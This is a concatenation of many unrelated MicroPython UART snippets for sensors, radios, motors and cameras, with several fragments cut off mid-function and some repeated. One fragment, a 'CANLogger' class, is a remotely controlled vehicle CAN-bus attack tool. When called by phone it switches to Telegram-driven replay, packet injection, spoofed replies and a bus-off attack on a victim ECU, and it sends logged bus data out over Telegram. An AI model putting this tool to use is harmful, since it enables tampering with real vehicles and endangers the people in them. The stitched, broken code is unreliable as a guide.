class USB_UART(IO_object):
def __init__(self, name):
self.uart = UART(1, 9600) # init with given baudrate
self.uart.init(9600, bits=8, parity=None, stop=1) # init with given parameters
self.buffer = bytearray(8)
self.name = name
assign_ID(self)
# Data acqisition variables
self.timer = pyb.Timer(available_timers.pop())
self.timestamp = fw.current_time
self.freq = -1.0
self.prev_freq = -1.0
def _timer_ISR(self, t):
if self.uart.any() > 0: # no message
self.uart.readinto(self.buffer, 2)
self.freq = int.from_bytes(self.buffer, 'little')
if self.freq != self.prev_freq:
self.timestamp = fw.current_time
interrupt_queue.put(self.ID)
self.prev_freq = self.freq
def _initialise(self):
self.timer.init(freq=100) # this should be 2*(client frequency)
self.timer.callback(self._timer_ISR)
def _process_interrupt(self):
fw.event_queue.put((self.timestamp, fw.event_typ, fw.events[self.name]))
def init():
print("Initializing")
# Initialize GPS
# UART(1) is on PB:
# (TX, RX)
# (X9, X10)
# (PB6, PB7)
uart = UART(1, 9600)
# Maybe add read_buf_len=128?
# Maybe add timeout_char=200
uart.init(9600, bits=8, stop=1, parity=None, timeout=5000)
# Initialize Radio (RFM69)
# SPI(1) is on PA:
# (DIO0, RESET, NSS, SCK, MISO, MOSI)
# (X3, X4, X5, X6, X7, X8)
# (PA2, PA3, PA4, PA5, PA6, PA7)
rfm69 = RFM69.RFM69()
sleep(1)
# Check version
if (rfm69.getVersion() == 0x24):
print("RFM69 Version Valid: 0x24")
else:
print("RFM69 Version Invalid!")
return "FAULT"
return "GPS_ACQ"
class uart_ic_interface(object):
def __init__(self, port=3, data_rate=9600, single_wire=False):
self.__uart = UART(port, data_rate)
self.__uart.init(baudrate=data_rate,
bits=8,
parity=None,
stop=1,
timeout=1000,
timeout_char=1000)
self.__single_wire = single_wire
if (self.__single_wire and (port == 3)):
stm.mem32[stm.GPIOB + stm.GPIO_OTYPER] |= (1 << 10
) # Set open drain
stm.mem32[stm.GPIOB + stm.GPIO_PUPDR] &= ~(1 << 21)
stm.mem32[stm.GPIOB + stm.GPIO_PUPDR] &= ~(1 << 20) # Set nopull
#stm.mem32[stm.USART3 + stm.USART_CR3] |= 0b1000 # set HDSEL
stm.mem32[stm.GPIOB + stm.GPIO_PUPDR] &= ~(1 << 23)
stm.mem32[stm.GPIOB + stm.GPIO_PUPDR] |= (1 << 22) # Set pullup
def send(self, buf):
#print("send: {}".format(buf))
self.__uart.write(buf)
if (self.__single_wire):
self.__uart.read(len(buf))
def recv(self, nbytes):
buf = self.__uart.read(nbytes)
#print("recv: {}".format(buf))
return buf
def init():
print ("Initializing")
# Initialize GPS
# UART(1) is on PB:
# (TX, RX)
# (X9, X10)
# (PB6, PB7)
uart = UART(1, 9600)
# Maybe add read_buf_len=128?
# Maybe add timeout_char=200
uart.init(9600, bits=8, stop=1, parity=None, timeout=5000)
# Initialize Radio (RFM69)
# SPI(1) is on PA:
# (DIO0, RESET, NSS, SCK, MISO, MOSI)
# (X3, X4, X5, X6, X7, X8)
# (PA2, PA3, PA4, PA5, PA6, PA7)
rfm69 = RFM69.RFM69()
sleep(1)
# Check version
if (rfm69.getVersion() == 0x24):
print ("RFM69 Version Valid: 0x24")
else:
print ("RFM69 Version Invalid!")
return "FAULT"
return "GPS_ACQ"
def uart_hash():
# initialize UART(6) to output TX on Pin Y1
uart = UART(6)
while True:
uart.init(9600, bits=8, parity = 0, stop = 2)
uart.writechar(ord('#')) # letter '#'
pyb.delay(5) # delay by 5ms
class MTC():
def __init__(self):
self.clock = {'frames':0, 'seconds':0, 'mins':0, 'hours':0, 'mode':0}
self.frame_count = 1
self.uart1 = UART(1)
self.message = [-1] * 8
self.uart1.init(31250, parity=None, stop=1,read_buf_len=1)
print(dir(self.uart1))
def saveClock(self):
self.clock['frames'] = (self.message[1] << 4) + self.message[0] # 2 half bytes 000f ffff
self.clock['seconds'] = (self.message[3] << 4) + self.message[2] # 2 half bytes 00ss ssss
self.clock['mins'] = (self.message[5] << 4) + self.message[4] # 2 half bytes 00mm mmmm
self.clock['hours'] = ((self.message[7] & 1) << 4) + self.message[6] # 2 half bytes 0rrh hhhh the msb has to be masked as it contains the mode
self.clock['mode'] = ((self.message[7] & 6) >> 1) # get the fps mode by masking 0rrh with 0110 (6)
def getMs(self):
self.readFrame()
mins = ((self.clock['hours'] * 60) + self.clock['mins'])
seconds = (mins * 60) + self.clock['seconds']
frames = (seconds * 25) + self.clock['frames']
milliseconds = frames * 40
return milliseconds
def readFrame(self):
indice = 0
self.message = [-1] * 8
while True:
data = self.uart1.read(1)
if data != None:
if ord(data) == 241: # if Byte for quater frame message
try: mes = ord(self.uart1.read(1)) # Read next byte
except: continue
piece = mes >> 4 # Get which part of the message it is (e.g seconds mins)
if piece == indice:
self.message[piece] = mes & 15 # store message using '&' to mask the bit type
indice += 1
if indice > 7:
self.saveClock()
break
#self.uart1.deinit()
return self.clock
def initUART():
global uartObject
try:
#UART(1) uses pins 0 and 1
uartObject = UART(1)
uartObject.init(9600, bits=8, parity=None, stop=1, timeout_char=1000)
except ValueError:
# print("Error: baud rate +- 5% out of range")
return False
return True
class Wifi_Driver(object):
def __init__(self, uart_num=2, uart_baud=9600):
self.uart = UART(uart_num, uart_baud)
self.uart.init(uart_baud, bits=8, parity=None, stop=1)
def receive_char(self):
temp = self.uart.readchar()
if temp == -1:
return None
temp = chr(temp)
return temp
def uart_hashtag(): the_word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' # initialize X5 as trigger output uart = UART(6) uart.init(9600, bits=8, parity = None, stop = 2) while True: # initialize UART(6) to output TX on Pin Y1 for i in range(36): uart.writechar(ord(the_word[i])) uart.writechar(13) uart.writechar(10) pyb.delay(1000)
class uart_tmcl_interface(tmcl_interface, tmcl_host_interface):
def __init__(self, port=3, data_rate=9600, host_id=2, module_id=1, debug=False):
tmcl_interface.__init__(self, host_id, module_id, debug)
tmcl_host_interface.__init__(self, host_id, module_id, debug)
self.__uart = UART(port, data_rate)
self.__uart.init(baudrate=data_rate, bits=8, parity=None, stop=1, timeout=10000, timeout_char=10000)
def __enter__(self):
return self
def __exit__(self, exitType, value, traceback):
del exitType, value, traceback
self.close()
def close(self):
self.__uart.deinit()
return 0;
def data_available(self, hostID=None, moduleID=None):
del hostID, moduleID
return self.__uart.any()
def _send(self, hostID, moduleID, data):
del hostID, moduleID
self.__uart.write(data)
def _recv(self, hostID, moduleID):
del hostID, moduleID
read = self.__uart.read(9)
return read
def printInfo(self):
pass
def enableDebug(self, enable):
self._debug = enable
@staticmethod
def supportsTMCL():
return True
@staticmethod
def supportsCANopen():
return False
@staticmethod
def available_ports():
return set([2, 3, 4])
class US100UART:
distance = None
buf_dis = bytearray(2)
temperature = None
buf_temper = bytearray(1)
def __init__(self, port):
self.uart = UART(port, 9600)
self.uart.init(9600, bits=8, parity=None, stop=1, timeout=3000)
def isDistance(self):
if self.uart.any() and self.uart.any() % 2 == 0:
self.buf_dis = self.uart.read(2)
self.distance = (self.buf_dis[0] * 256) + self.buf_dis[1]
return True
else:
return False
async def read_distance(self):
"""
支持热插拔
:return: None
"""
self.uart.write(b'\x55')
while True:
await asyncio.sleep_ms(100)
if self.isDistance():
break
else:
await asyncio.sleep_ms(200)
if self.isDistance():
break
else:
self.distance = None
self.uart.read(self.uart.any())
self.uart.write(b'\x55')
async def read_temperature(self):
"""写着玩的"""
self.uart.write(b'\x50')
while True:
await asyncio.sleep_ms(100)
if self.uart.any():
self.buf_temper = self.uart.read(1)
self.temperature = self.buf_temper[0] - 45
break
else:
self.temperature = None
self.uart.write(b'\x50')
def initializeAntenna():
global uart
uart = UART(1, currentBaud)
uart.init(currentBaud, bits=8, parity=None, stop=1)
time.sleep(0.5)
print("Antenna Initial STATUS")
uart.write("AT")
print(uart.readline())
uart.write("AT+RB")
print(uart.readline())
uart.write("AT+RC")
print(uart.readline())
uart.write("AT+RF")
print(uart.readline())
uart.write("AT+RP")
print(uart.readline())
print("\r\n\n\n")
print("SENDING CONFIG")
print("\r\n")
uart.write("AT+B" + antennaConfig["baud"])
uart.write("AT+C" + antennaConfig["channel"])
uart.write("AT+P" + antennaConfig["power"])
uart.write("AT+F" + antennaConfig["fu"])
print("\r\nDONE")
print("Antenna Final STATUS")
uart.write("AT")
print(uart.readline())
uart.write("AT+RB")
print(uart.readline())
uart.write("AT+RC")
print(uart.readline())
uart.write("AT+RF")
print(uart.readline())
uart.write("AT+RP")
print(uart.readline())
time.sleep(0.5)
baudBaseString = "AT+B"
desiredBaud = 9600
uart.write(baudBaseString + str(desiredBaud))
print(uart.readline())
class cjmcu(object):
"""docstring for cjmcu"""
_CONTINUOUS = const(1)
_POLL = const(2)
_RATEBASE = 0x11
_BAUD9600 = const(0)
_BAUD19200 = const(1)
_BAUD38400 = const(2)
def __init__(self, aLoc):
super(cjmcu, self).__init__()
self._uart = UART(aLoc, 9600)
self._mode = _POLL
self._output = bytearray(4)
self._output[0] = 0x66
self._output[1] = 0x66
self._output[2] = self._mode
self._output[3] = 0x56
self._input = bytearray(9)
self.update()
def write(self):
'''write output buffer to board.'''
self._uart.write(self._output)
def read(self):
'''read into input buffer from board. Always 9 bytes.'''
self._uart.readinto(self._input)
def update(self):
'''Send command to prompt data output from board, then read data.
Note that this only needs to be done if board in in POLL mode.'''
self.write()
self.read()
def setbaud(self, aBaud):
'''Set baud rate on board then re-connect with new rate.'''
self._output[2] = _BAUDBASE + aBaud
self.update()
self._output[2] = self._mode
self._uart.deinit()
self._uart.init(9600 << aBaud)
def temps(self):
'''Return (ambient, object) temperatures in celcius.'''
v1 = (self._input[4] << 8) | self._input[5]
v2 = (self._input[6] << 8) | self._input[7]
return (v1 / 100.0, v2 / 100.0)
class UART_Port:
"""Implements a port which can send or receive commands with a bioloid
device using the pyboard UART class. This particular class takes
advantage of some features which are only available on the STM32F4xx processors.
"""
def __init__(self, uart_num, baud):
self.uart = UART(uart_num)
self.baud = 0
self.set_baud(baud)
base_str = 'USART{}'.format(uart_num)
if not hasattr(stm, base_str):
base_str = 'UART{}'.format(uart_num)
self.uart_base = getattr(stm, base_str)
# Set HDSEL (bit 3) in CR3 - which puts the UART in half-duplex
# mode. This connects Rx to Tx internally, and only enables the
# transmitter when there is data to send.
stm.mem16[self.uart_base + stm.USART_CR3] |= (1 << 3)
def any(self):
return self.uart.any()
def read_byte(self):
"""Reads a byte from the bus.
This function will return None if no character was read within the
designated timeout (set when we call self.uart.init).
"""
byte = self.uart.readchar()
if byte >= 0:
return byte
def set_baud(self, baud):
"""Sets the baud rate.
Note, the pyb.UART class doesn't have a method for setting the baud
rate, so we need to reinitialize the uart object.
"""
if self.baud != baud:
self.baud = baud
# The max Return Delay Time is 254 * 2 usec = 508 usec. The default
# is 500 usec. So using a timeout of 2 ensures that we wait for
# at least 1 msec before considering a timeout.
self.uart.init(baudrate=baud, timeout=2)
def write_packet(self, packet_data):
"""Writes an entire packet to the serial port."""
_write_packet(self.uart_base, packet_data, len(packet_data))
class UART_Port:
"""Implements a port which can send or receive commands with a bioloid
device using the pyboard UART class. This particular class takes
advantage of some features which are only available on the STM32F4xx processors.
"""
def __init__(self, uart_num, baud):
self.uart = UART(uart_num)
self.baud = 0
self.set_baud(baud)
base_str = 'USART{}'.format(uart_num)
if not hasattr(stm, base_str):
base_str = 'UART{}'.format(uart_num)
self.uart_base = getattr(stm, base_str)
# Set HDSEL (bit 3) in CR3 - which puts the UART in half-duplex
# mode. This connects Rx to Tx internally, and only enables the
# transmitter when there is data to send.
stm.mem16[self.uart_base + stm.USART_CR3] |= (1 << 3)
def any(self):
return self.uart.any()
def read_byte(self):
"""Reads a byte from the bus.
This function will return None if no character was read within the
designated timeout (set when we call self.uart.init).
"""
byte = self.uart.readchar()
if byte >= 0:
return byte
def set_baud(self, baud):
"""Sets the baud rate.
Note, the pyb.UART class doesn't have a method for setting the baud
rate, so we need to reinitialize the uart object.
"""
if self.baud != baud:
self.baud = baud
# The max Return Delay Time is 254 * 2 usec = 508 usec. The default
# is 500 usec. So using a timeout of 2 ensures that we wait for
# at least 1 msec before considering a timeout.
self.uart.init(baudrate=baud, timeout=2)
def write_packet(self, packet_data):
"""Writes an entire packet to the serial port."""
_write_packet(self.uart_base, packet_data, len(packet_data))
class Mode():
def __init__(self):
#bluetooth communication
self.key = (0, 1, 2, 3, 'U', 'D', 'L', 'R')
self.uart = UART(6)
self.uart.init(9600, bits = 8, parity = None, stop = 2)
self.key_press = None
def loop(self):
if self.uart.any() > 5: #wait for a message to be sent
self.command = self.uart.read(5) #read the message which was sent
self.key_index = self.command[2] - ord('1') #convert ascii character send to an index for the list of keys
if 0 <= self.key_index <= 7: # checks the index is valid
self.key_press = self.key[self.key_index]
print("You've selected: ", str(self.key_press)) #print what is being pressed
def remote():
#initialise UART communication
uart = UART(6)
uart.init(9600, bits=8, parity = None, stop = 2)
# define various I/O pins for ADC
adc_1 = ADC(Pin('X19'))
adc_2 = ADC(Pin('X20'))
# set up motor with PWM and timer control
A1 = Pin('Y9',Pin.OUT_PP)
A2 = Pin('Y10',Pin.OUT_PP)
pwm_out = Pin('X1')
tim = Timer(2, freq = 1000)
motor = tim.channel(1, Timer.PWM, pin = pwm_out)
# Motor in idle state
A1.high()
A2.high()
speed = 0
DEADZONE = 5
# Use keypad U and D keys to control speed
while True: # loop forever until CTRL-C
while (uart.any()!=10): #wait we get 10 chars
n = uart.any()
command = uart.read(10)
if command[2]==ord('5'):
if speed < 96:
speed = speed + 5
print(speed)
elif command[2]==ord('6'):
if speed > - 96:
speed = speed - 5
print(speed)
if (speed >= DEADZONE): # forward
A1.high()
A2.low()
motor.pulse_width_percent(speed)
elif (speed <= -DEADZONE):
A1.low() # backward
A2.high()
motor.pulse_width_percent(-speed)
else:
A1.low() # idle
A2.low()
def keypad():
key = ('1','2','3','4','U','D','L','R')
uart = UART(6)
uart.init(9600, bits=8, parity = None, stop = 2)
while True:
while (uart.any()!=10): #wait we get 10 chars
n = uart.any()
command = uart.read(10)
key_index = command[2]-ord('1')
if (0 <= key_index <= 7) :
key_press = key[key_index]
if command[3]==ord('1'):
action = 'pressed'
elif command[3]==ord('0'):
action = 'released'
else:
action = 'nothing pressed'
print('Key',key_press,' ',action)
class uRFID:
# Class for using the Priority 1 Design Micro RFID module to read FDX-B tags.
# http://www.priority1design.com.au/rfid_reader_modules.html
def __init__(self, bus):
self.uart = UART(bus)
self.uart.init(baudrate=9600, bits=8, parity=None, stop=1, timeout=1)
self.uart.write(b'ST2\r') # Put reader in FDX-B tag mode.
sleep(0.01)
self.uart.read() # Clear input buffer.
def read_tag(self):
# Return the ID of the most recent tag read, if not tag has been read return None.
read_bytes = self.uart.read()
if not read_bytes:
return
try:
ID = int(read_bytes[-13:-1])
return ID
except ValueError:
return
def readgps(uart):
u2 = UART(uart, 115200)
u2.init(115200, timeout=100)
u2.write('AT+GPSPWR=1\r\n')
u2.write('AT+GPSRST=2,0\r\n')
u2.write('AT+GPSLOC=1\r\n')
pyb.delay(1000)
_dataRead = u2.read()
u2.write('AT+GPSLOC=0\r\n')
pyb.delay(1000)
_dataRead = u2.read()
if _dataRead != None:
if 60 < len(_dataRead) < 70:
_dataRead = _dataRead.decode('utf-8')
_dataRead1 = _dataRead.split(',')
if len(_dataRead1) > 4:
#*******************纬度计算********************
weidu = _dataRead1[1]
WD = DataConver(weidu, 0)
#*******************经度计算********************
jingdu = _dataRead1[2]
JD = DataConver(jingdu, 1)
return JD, WD
return None
from pyb import UART
uart = UART(1)
uart = UART(1, 9600)
uart = UART(1, 9600, bits=8, parity=None, stop=1)
print(uart)
uart.init(2400)
print(uart)
print(uart.any())
print(uart.write('123'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
# make sure this method exists
uart.sendbreak()
hist = [37, 98, -68, 21, 34, 99]
# Power-Cell tracker is device #2
can = frc_can.frc_can(2)
# Set the configuration for our OpenMV frcCAN device.
can.set_config(2, 0, 0, 0)
# Set the mode for our OpenMV frcCAN device.
can.set_mode(1)
pc_roi = (0, 110, 325, 120)
mag_roi = (0, 155, 320, 90)
#lidar initialization
uart = UART(3)
uart.init(115200, bits=8, parity=None, stop=1, timeout_char=20, timeout=80)
#lidar setup
def lidar_command(command, purpose):
if purpose:
print("%s Command : %s" % (purpose, command))
uart.write(command)
response = uart.read()
if purpose:
print("%s Response : %s" % (purpose, response))
return purpose
command = bytes(b'\x5A\x05\x07\x00\x66')
lidar_command(command, "Disable")
from pyb import UART
# test we can correctly create by id
for bus in (-1, 0, 1, 2, 5, 6, 7):
try:
UART(bus, 9600)
print("UART", bus)
except ValueError:
print("ValueError", bus)
uart = UART(1)
uart = UART(1, 9600)
uart = UART(1, 9600, bits=8, parity=None, stop=1)
print(uart)
uart.init(2400)
print(uart)
print(uart.any())
print(uart.write('123'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
# make sure this method exists
uart.sendbreak()
# non-blocking mode
uart = UART(1, 9600, timeout=0)
print(uart.write(b'1'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
class CANLogger(object):
def __init__(self):
# Constants and variables #
# UART cmd to en-/disable the GPS
self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08,
0x00, 0x16, 0x74)
self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09,
0x00, 0x17, 0x76)
self.SIM_DISABLED = False
self.GPS_LOG_TIME = 5000 # 5s
self.SHUTOFF_TIME = 30000 # 30s of no CAN activity
self.TOKEN = "REDACTED"
self.VERSION = 1.0
if 'sd' in os.listdir('/'):
self.PATH = '/sd/'
else:
self.PATH = ''
self.CAN_FILE = open(self.PATH + 'can.log', 'a+')
# This will hold CAN IDs to be filtered for in the can log
self.can_filter = []
self.allowed_users = ["610574975"]
self.interrupt = False
self.shutdown = False
# Init modules #
# GPS init
self.gps_uart = UART(1, 9600) # init with given baudrate
self.gps_uart.init(9600,
bits=8,
parity=None,
stop=1,
read_buf_len=512 // 2) # init with given parameters
self.gps = MicropyGPS()
# CAN init (500 MHz)
self.can = CAN(1, CAN.NORMAL) # recv
self.can2 = CAN(2, CAN.NORMAL) # send
self.can.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can2.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
# SIM800L init
sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4)
self.modem = Modem(sim_uart)
self.modem.initialize()
try:
self.modem.connect('internet.eplus.de')
except:
self.SIM_DISABLED = True
print("LOG ONLY MODE (NO GSM)")
# Clock init
self.rtc = RTC()
self.rtc.wakeup(5000) # wakeup call every 5s
# Interrupt Flag init
self.interrupt = False
pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP,
self.incoming_call)
# Sleep pins for GSM
self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP)
self.gsm_sleep.value(0)
if not self.SIM_DISABLED:
# Software Update
self.ota()
# Telegram Bot
self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem)
# Logs input to can.log
# args will be separated by comma and printed each time a new line
def log(self, *args, file='can.log'):
# With this case writing to can.log is quite a lot faster, as closing a file takes ages due to writing to fs
# But we must ensure to close the file at some point
if file is not 'can.log':
with open(self.PATH + file, 'a+') as f:
print(','.join(args), file=f)
os.sync()
else:
# ensure we have an open file
# if self.CAN_FILE.closed: # closed does not exists, thus need workaround below
try:
self.CAN_FILE.read()
except OSError:
self.CAN_FILE = open(self.PATH + 'can.log', 'a+')
print(','.join(args), file=self.CAN_FILE)
# Override is working
def ota(self):
url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/version'
response = self.modem.http_request(url, 'GET')
# If a newer version is available
if float(response.text) > self.VERSION:
url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/code/main.py'
response = self.modem.http_request(url, 'GET')
# Override existing main file and reboot
with open(self.PATH + 'main.py', 'w') as f:
print(response.text, file=f)
# Force buffer write and restart
os.sync()
machine.soft_reset()
# Callback function for incoming call to initiate attack mode
def incoming_call(self, _):
# Hangup call
self.modem.hangup()
# Reactivate logger if called during sleep phase
if self.shutdown:
self.shutdown = False
self.gsm_sleep.value(0)
self.sendGPSCmd(self.GPS_ON)
for u in self.allowed_users:
self.telegram.send(u, 'Ready in attack mode!')
# light up yellow to indicate attack mode
LED(3).intensity(16)
self.interrupt = True
# PoC for Telegram
def message_handler(self, messages):
for message in messages:
# Check permitted users
if message['id'] not in self.allowed_users:
continue
if message[2] == '/start':
self.telegram.send(
message[0], 'CAN Logger in attack mode, ready for you!')
else:
if message['text'] == "log":
params = message['text'].strip().split(" ")[1:]
# get
if params[0] == 'get':
self.telegram.sendFile(
message[0], open(self.PATH + 'can.log', 'rb'))
# with open(self.PATH + 'can.log', 'r') as f:
# data = f.read() # Okay, will print \n explicitly!
# self.telegram.send(message[0], data)
os.remove(self.PATH + 'can.log')
# clear
elif params[0] == 'clear':
os.remove(self.PATH + 'can.log')
else:
self.helpMessage(message)
elif message['text'] == "replay":
# Find first message of id and resend x times
params = message['text'].strip().split(" ")[1:]
if len(params) < 2:
self.helpMessage(message)
continue
id, times = params[0:1]
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == id:
for _ in times:
self.can2.send(can_data, can_id, timeout=1000)
self.log("sent {} from {} {} times".format(
can_data, can_id, times))
break
elif message['text'] == "injection":
params = message['text'].split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
can_id, can_data, times, _delay = params[0:2]
for _ in times:
self.can2.send(can_data, can_id, timeout=1000)
pyb.delay(_delay)
elif message['text'] == "reply":
params = message['text'].strip().split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
id, message, id_a, answer = params[0:3]
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == id and can_data == message:
self.can2.send(answer, id_a, timeout=1000)
break
elif message[
'text'] == "busoff": # TODO WIP feature only manual at that point
params = message['text'].strip().split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
mark_id, vic_id, payload, _delay = params[0:3]
self.can.setfilter(0, CAN.LIST16, 0, (
mark_id,
vic_id,
))
# Clear buffer (maybe/hopefully)
for _ in range(5):
if not self.can.any(0):
break
self.can.recv(0)
count = 0
while count <= 5:
can_id, _, _, can_data = self.can.recv(0)
if can_id == mark_id:
pyb.delay(_delay)
self.can2.send(payload, vic_id, timeout=1000)
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == vic_id and can_data != payload:
count = 0
break
count += 1
# reset filter
self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
elif message['text'] == "filter": # CAN Log Filter by ID
params = message['text'].strip().split(" ")[1:]
# add
if params[0] == 'add':
for id in params[1:]:
self.can_filter.append(id)
# remove
elif params[0] == 'remove':
for id in params[1:]:
self.can_filter.remove(id)
# clear
elif params[0] == 'clear':
self.can_filter.clear()
else:
self.helpMessage(message)
elif message['text'] == "ota":
self.ota()
elif message['text'] == "help":
self.helpMessage(message)
elif message['text'] == "exit":
LED(3).off()
self.interrupt = False
self.telegram.send(message[0], 'Executed!')
def helpMessage(self, message):
helpme = """
log get|clear - Retrieve or clear saved can data log
replay id freq - Replay messages of given id
reply id message answer - Reply to a specified message with an answer
injection id data freq delay - Inject given can packet into bus at a given frequency
busoff marker victim payload freq - Manual BUS off attack for given victim
filter add|remove|clear id - Set a filter for when logging
ota - Check and update newest version
help - Displays this message
exit - Exit this mode and return to logging
"""
self.telegram.send(message[0], helpme)
def sendGPSCmd(self, cmd):
for i in range(len(cmd)):
self.gps_uart.writechar(cmd[i])
def loop(self):
gps_time = utime.ticks_ms()
while True:
# Check if new messages arrived after shutdown
if self.shutdown and not self.can.any(0):
pyb.stop() # soft sleep (500 uA)
continue
elif self.shutdown and self.can.any(0):
self.shutdown = False
self.gsm_sleep.value(0)
self.sendGPSCmd(self.GPS_ON)
# Main loop
if not self.interrupt:
# Free memory
# gc.collect()
## Logging mode ##
# Only log gps once a few seconds
if utime.ticks_ms() - gps_time >= self.GPS_LOG_TIME:
gps_time = utime.ticks_ms()
# if module retrieved data: update and log
if self.gps_uart.any():
self.gps.updateall(self.gps_uart.read())
self.log(str(self.rtc.datetime()),
self.gps.latitude_string(),
self.gps.longitude_string(),
self.gps.speed_string())
# Log new incoming can messages
try:
# throws OSError
can_id, _, _, can_data = self.can.recv(
0, timeout=self.SHUTOFF_TIME)
# Filter for CAN Log
if not self.can_filter or can_id in self.can_filter:
self.log(str(self.rtc.datetime()), str(can_id),
binascii.hexlify(can_data).decode('utf-8'))
except OSError:
# We timed out from can connection -> could mean car is shut down
self.shutdown = True
self.CAN_FILE.close()
os.sync()
self.gsm_sleep.value(1)
self.sendGPSCmd(self.GPS_OFF)
continue
else:
## Attack mode ##
self.CAN_FILE.close() # Close log file first
os.sync()
while self.interrupt:
self.telegram.listen(self.message_handler)
z = pickle.dumps(reset_dict).encode('utf8')
bkram[0] = len(z)
ba[4: 4+len(z)] = z
restore_data()
return pkl
def gestione_power_on():
print("Power On")
uart.write("Power On.")
#imposto setting seriale - set MCU serial port1
uart = UART(1, 9600)
uart.init(9600, bits=8, parity=None, stop=1)
test=0
reason=upower.why() # motivo dell'uscita da low power mode.
# see upower.py module documentation.
uart.write(str(reason) +'\n')
#reason='ALARM_B' # solo per debug
try:
if reason=='X1':
verde.on()
pyb.delay(3)
verde.off()
uart.write('ready'+'\n') # uscito da standby - standby exit.
(79, 100, -37, -2, -4, 24), # 绿色激光
(50, 77, 16, 65, -19, 31) # 红色激光
] # generic_blue_thresholds
sensor.reset() # 传感器复位sensor.set_pixformat(sensor.GRAYSCALE) # use grayscale.
sensor.set_pixformat(
sensor.RGB565
) # RGB565即一个彩色图像点由RGB三个分量组成，总共占据2Byte，高5位为R分量，中间6位为G分量，低5位为B分量
sensor.set_framesize(sensor.QVGA) # 320*240
sensor.skip_frames(time=500) # 跳过，等待摄像头稳定
sensor.set_auto_gain(False) # 自动增益在颜色识别中一般关闭，不然会影响阈值
sensor.set_auto_whitebal(False) # 白平衡在颜色识别中一般关闭，不然会影响阈值
clock = time.clock() # 构造时钟对象
uart = UART(3, 115200)
uart.init(115200, bits=8, parity=None, stop=1,
timeout_char=1000) # 使用给定参数初始化 timeout_char是以毫秒计的等待字符间的超时时长
class ctrl_info(object):
WorkMode = 0x01 # 色块检测模式 0x01为固定单颜色识别 0x02为自主学习颜色识别 0x03 巡线
Threshold_index = 0x00 # 阈值编号
ctrl = ctrl_info() # 定义控制信息类
single_blob.InitSuccess_LED() # 初始化完成 Green LED 快闪2下
'''-----------------------------------------------初始化分割线------------------------------------------------'''
while (True):
clock.tick() # 追踪时钟
img = sensor.snapshot() # thresholds为阈值元组0
# Hello World Example
#
# Welcome to the OpenMV IDE! Click on the green run arrow button below to run the script!
import sensor, image, time
from pyb import UART
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(
sensor.RGB565) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sensor.QVGA) # Set frame size to QVGA (320x240)
sensor.skip_frames(time=2000) # Wait for settings take effect.
clock = time.clock() # Create a clock object to track the FPS.
uart = UART(3, 9600, timeout_char=1000)
uart.init(9600, bits=8, parity=None, stop=1, timeout_char=1000)
while (True):
#clock.tick() # Update the FPS clock.
#img = sensor.snapshot() # Take a picture and return the image.
#print(clock.fps()) # Note: OpenMV Cam runs about half as fast when connected
# to the IDE. The FPS should increase once disconnected.
uart.write(b'MOF\r')
print(b'' + uart.read())
from pyb import UART, Pin, delay
UART_ID = 3 # Uses Y9 as TX and Y10 as RX
uart = UART(UART_ID, 115200)
uart.init(115200, bits=8, parity=None, stop=1)
green_button = Pin("X5", Pin.IN)
red_button = Pin("X6", Pin.IN)
count = 0
while True:
message = None
while message == None:
message = uart.read()
message = str(message, 'utf-8')
print("Message from ESP32: [", message, "]")
message = '0'
#while green_button.value() + red_button.value() == 0:
# pass
if green_button.value() == 1 and red_button.value() == 1:
message = '3'
elif green_button.value() == 1:
message = '2'
elif red_button.value() == 1:
if 'LaunchPad' in machine:
uart_id_range = range(0, 2)
uart_pins = [[('GP12', 'GP13'), ('GP12', 'GP13', 'GP7', 'GP6')], [('GP16', 'GP17'), ('GP16', 'GP17', 'GP7', 'GP6')]]
elif 'WiPy' in machine:
uart_id_range = range(0, 2)
uart_pins = [[('GP12', 'GP13'), ('GP12', 'GP13', 'GP7', 'GP6')], [('GP16', 'GP17'), ('GP16', 'GP17', 'GP7', 'GP6')]]
else:
raise Exception('Board not supported!')
# just in case we have stdio duplicated on any of the uarts
pyb.repl_uart(None)
for uart_id in uart_id_range:
uart = UART(uart_id, 38400)
print(uart)
uart.init(baudrate=57600, stop=1, parity=None, pins=uart_pins[uart_id][0])
uart.init(baudrate=9600, stop=2, parity=0, pins=uart_pins[uart_id][1])
uart.init(baudrate=115200, parity=1, pins=uart_pins[uart_id][0])
uart.sendbreak()
# now it's time for some loopback tests between the uarts
uart0 = UART(0, 1000000, pins=uart_pins[0][0])
print(uart0)
uart1 = UART(1, 1000000, pins=uart_pins[1][0])
print(uart1)
print(uart0.write(b'123456') == 6)
print(uart1.read() == b'123456')
print(uart1.write(b'123') == 3)
print(uart0.read(1) == b'1')
total_dist = 40
right()
stop()
start()
state = 'left'
x0 = x
y0 = y
stop()
print("map has been traced")
#############################################################################################################
# SETUP #
#############################################################################################################
uart = UART(4, 9600) #UART for ESP communication
uart.init(9600, bits=8, parity=None, stop=1, read_buf_len=64)
dacA.write(init_dacA)
dacB.write(init_dacB)
motor_relay_L.high()
motor_relay_R.high()
motor1_switch.high()
